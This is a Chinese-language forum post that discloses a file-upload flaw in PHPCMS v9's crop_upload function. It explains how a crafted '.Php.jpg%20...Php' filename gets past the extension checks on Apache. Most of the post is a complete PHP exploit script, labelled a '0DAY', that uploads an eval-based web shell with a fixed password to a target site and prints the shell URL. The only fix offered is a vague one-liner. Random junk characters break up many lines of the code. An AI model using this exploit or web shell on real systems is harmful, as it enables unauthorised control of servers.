找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2199|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行% c3 m7 [6 l% A

$ }5 _0 o& u9 [: z5 d4 k简要描述:( u2 o: v3 x/ X
# A, I; @" _3 }
phpcms v9 getshell (apache)
+ A/ e0 C; q# ?$ q7 S详细说明:
( v0 h% C0 Q0 g, q# h1 p; a# ~& S) z$ H' j% ^% ?$ v! a
漏洞文件:phpcms\modules\attachment\attachments.php
$ p) O* E5 R2 E: ^- C
3 c+ s2 d; a. Tpublic function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
$ @0 r$ J4 l& S# C4 R6 t后缀检测:phpcms\modules\attachment\functions\global.func.php1 Z4 w8 Y3 x5 ^- }

0 g" _3 }, x- n1 t5 D9 g% D * q; t5 ^% N& M9 V7 u
; i- e. r! ?0 e$ u+ E6 g! Q; u+ ^
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  # H7 J6 x: Z4 ~' @2 n1 l
8 y# G# _* Z! G& b1 \1 ~9 R; i
关键函数:
  z8 k+ l+ P  C$ G* ~6 }" H: y$ T' L! X, l8 ^# N: D
6 n# ]4 @. j7 r5 l$ G5 g( l

- a% ]- H# w; v/ y" J) e1 Hfunction fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  2 U  {7 W* f- ]! p6 r% r
8 }) }) j7 W( H, s+ D
  Fileext函数是对文件后缀名的提取。% c! m  |8 b7 h9 x# {7 M
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
2 A- i' D  W/ l; J% D: u; t. F经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
1 O3 W. D( R( U我们回到public function crop_upload() 函数中0 q8 d0 V2 s5 l7 |( f$ N
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
% @8 ^$ @/ L! E9 z2 S在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数0 K2 A- ^9 U$ S: n9 _2 }7 {
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
3 u9 c5 ~( f1 \* k' @经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。" b# l' _0 @* [4 y( F5 J
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。6 ^9 d9 u4 O7 H7 ^! D- ?
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
0 z/ d* g$ |( m$ F2 w) G漏洞证明:% v/ Q6 r$ h  i: c
/ A2 K6 D' @$ Z- }5 Y4 p1 I
exp:# ^, t* }1 M: k

1 }& n' D  S/ d" o. G<?php0 M! {6 ]/ Z; R% ~
error_reporting(E_ERROR);
0 {+ `' y- y, nset_time_limit(0);
# x; K' a7 d% ]+ f% Y( ?* e1 i- \$pass="ln";
- C& b4 ~  V" Aprint_r('
! ], ^  Q0 M" \! ^4 ~1 Z! g$ ]" v+---------------------------------------------------------------------------+* v( g7 I$ j8 T) z' q: ~
PHPCms V9 GETSHELL 0DAY
' V# Y$ [% e7 P( l; t) \( L- ecode by L.N.
+ Z7 I1 D( g( Z" p! a& l; n2 G% ~5 Q3 I
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net: l7 {2 e( o7 B  k( @
+---------------------------------------------------------------------------+
9 E) Y) Z( U0 Y1 q" r$ s! A1 u- g');% |) G9 `. \  q' w+ |4 ?+ Q; s* w
if ($argc < 2) {
5 V- l9 k7 j# Cprint_r('" M7 W- q/ d) {5 S
+---------------------------------------------------------------------------+% @. g4 [, d* ~; V) t, T" z7 f
Usage: php '.$argv[0].' url path
5 n% u) F) @' \; D9 F) V. l  J. ^2 N6 G$ x" H' Y6 s" h2 g* r
Example:
1 P3 C: F7 E: {% A8 M% y1.php '.$argv[0].' lanu.sinaapp.com
& n2 ~0 l) x/ f2 o, `2.php '.$argv[0].' lanu.sinaapp.com /phpcms: u, s9 b2 B7 r) Y2 W0 L
+---------------------------------------------------------------------------+1 w7 j4 f8 D) `6 X- @
');3 M7 W/ h3 b0 L- c1 x- Z
exit;' u  V* d) U4 Y8 x4 ?
}; T( u- i% V2 B! N* {; o

4 p& f- J$ B( K) y* Z0 e$url = $argv[1];  @+ P/ l# ~, l. P) v0 h" z
$path = $argv[2];# ?+ R4 S/ t# @
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
. R' z) o: I$ ~6 ~* e, E. |$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';2 |4 Z1 d* `/ K$ B
if($ret=Create_dir($url,$path))
6 b! k4 x$ k" u+ B2 ~6 j{2 A& W$ V2 M. l+ j0 I9 u
//echo $ret;
% @1 x* s$ _2 O1 g: Q$pattern = "|Server:[^,]+?|U";
& x+ m! b7 K. `; I' ^5 D/ U$ {) Mpreg_match_all($pattern, $ret, $matches);2 p7 g$ C: {( @& J& G/ T$ D1 U+ p" M
if($matches[0][0])# f6 g! ]) S: [+ N
{; |, Z$ c9 ~2 w4 h* k& D  z7 Z
if(strpos($matches[0][0],'Apache') == false)
2 y1 {, Q$ W# y4 }& ~{
" t) u/ Z( M' s) d4 {2 {& Z% aecho "\n亲!此网站不是apache的网站。\n";exit;
6 S2 L2 K5 J& w) {3 q' U$ V5 {}
$ u# t1 D# a+ _$ n. W}& L- y& w$ |% R& y
$ret = GetShell($url,$phpshell,$path,$file);
' N3 k8 q# h& b& I$pattern = "|http:\/\/[^,]+?\.,?|U";) [: t6 v# `3 O2 a/ u
preg_match_all($pattern, $ret, $matches);; U  O6 Z8 t& u* J- A; |- n
if($matches[0][0])
$ X" I- f8 O2 I* C) J" O9 |% Y{! E8 `3 p* }# U; s
echo "\n".'密码为: '.$pass."\n";
2 P% k" K, x% Z& x: @  S& O( C: Gecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;4 D: d; X$ i" r% `3 @
}
7 E8 X  X; Z$ h* z7 ]/ x( e7 lelse, b+ q6 G+ K1 N# `! ^2 y6 y
{
9 [" ~% X3 Y- w9 d& y$pattern = "|\/uploadfile\/[^,]+?\.,?|U";1 o! p+ h. Y+ @% {
preg_match_all($pattern, $ret, $matches);8 V" b) R) p' d2 w/ _2 z+ x" R  I# I
if($matches[0][0])
  |/ F! U! g5 V/ C: R{
9 O; C0 l! j6 s2 {# w. `" Cecho "\n".'密码为: '.$pass."\n";
, D  I' F4 A1 F1 T/ f; p9 Uecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;# b3 W& i3 a! }5 F0 S& a/ X& U
}
. A* M2 R- M4 Y$ H4 G+ celse
% \4 G( P) T& A, B% B9 \! i3 C{  X1 n+ ]/ y/ [- `/ K
echo "\r\n没得到!\n";exit;2 }2 _2 A2 W$ C  @
}9 u/ X: k5 R+ z/ d' r
}
1 R; T9 K8 N' k2 q}* U' w! l. I8 D, c

# @, G) Y; q* g9 o  Qfunction GetShell($url,$shell,$path,$js)
' ]" t  B$ d, w! l# w{
' O+ Q/ Z7 x& X9 V+ b8 F$content =$shell;0 s' f9 X- v: S3 ]( t) U  v
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
( e. d- D) c. r' d- ^! m5 n; X$data .= "Host: ".$url."\r\n";0 m* f9 O' t4 A2 F
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
& m. i3 k/ S8 K) O( O- K$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";* ]/ X. @/ }6 @+ E" Y1 L
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
1 U3 [3 U; z& x0 z( d- K7 ?3 k$data .= "Connection: close\r\n";, j4 z# |8 ]) M1 K/ Q6 k6 }
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
* W: X; _( F* i$data .= $content."\r\n";
  _- U, r& ?$ _' I% z$ock=fsockopen($url,80);
: T, v% C3 j" b7 ]: Z1 fif (!$ock)
: Z0 S2 M4 D2 ^6 m" \{9 U- a/ I* s& Q  ]4 y+ s
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
5 m; g! }: u% {0 k. z5 R+ o. {}
$ p9 h) S5 ^* C* j6 oelse8 \2 V+ t# K1 L& E
{7 w- B4 f) [: W  p* H' i
fwrite($ock,$data);' {7 p; L5 ]- {  P$ x% d% l
$resp = '';$ M2 W7 S$ f/ m+ J- ^2 D3 A
while (!feof($ock))6 b; I. F8 {+ {* v) M( @$ F
{
4 i) V8 ]8 C5 _; v2 h$resp.=fread($ock, 1024);
3 [$ }. w# V& f0 f' J# _7 {}
& K+ H0 e. Q) O+ S8 @  {  \return $resp;
7 y* _4 t( F3 V% k( W}- `- k) L- Q6 k
}
4 g* j% J6 i2 E8 A
# [1 x8 J3 V( v: y* @8 yfunction Create_dir($url,$path='')
# M$ i4 \+ q  h# P  H{$ W. W8 y" d9 R7 i  u3 |
$content ='I love you';4 V! @6 F0 C& {$ a8 D: O' z
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";+ v5 D1 Z8 j+ C0 H  H& j. o
$data .= "Host: ".$url."\r\n";, k: w6 ~! X( X, q* m5 `
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
: V  j, v  Q' U4 x7 ?8 v$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
/ i2 f% v( |$ F2 k5 L$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
' r! b: C5 T6 G/ v* H- j$data .= "Connection: close\r\n";
, O" o, x/ X5 g, G$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
" f& F3 M' B# u, G# t) z$data .= $content."\r\n";" P5 p- _6 i# o: T5 |
$ock=fsockopen($url,80);
9 a/ Q7 F, V* _if (!$ock)
3 g( C( {8 y. w& x: x{
# m6 S  K* U( a) C3 Z$ w  X- Uecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;2 H" ], v1 t6 T9 v, Z$ R
}$ e& m! K/ T4 F/ L
fwrite($ock,$data);
6 a( q4 J& i4 z0 Q$resp = '';9 Z% q( r6 G# y- }  V
while (!feof($ock))
9 D- @0 X2 `( Q, u, T' N{3 D# j1 Q: v; f. Y% T
$resp.=fread($ock, 1024);: J  m4 ?' E, T" @: q6 W
}
! P) m' F) e' `7 u5 h- }9 Q' \0 Ireturn $resp;3 o5 B( O8 Y  c( G  P( x
}
8 u1 f4 H# T# N$ y?> 2 F5 i: l% R9 {

2 C, m5 R' ]; o- q! @修复方案:' [7 l; G1 Y- l/ b4 m  H+ z, l
$ q; K- h) \3 K
过滤过滤再过滤
/ Q# o% ~" \2 _
( U5 H& @9 a9 l, q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表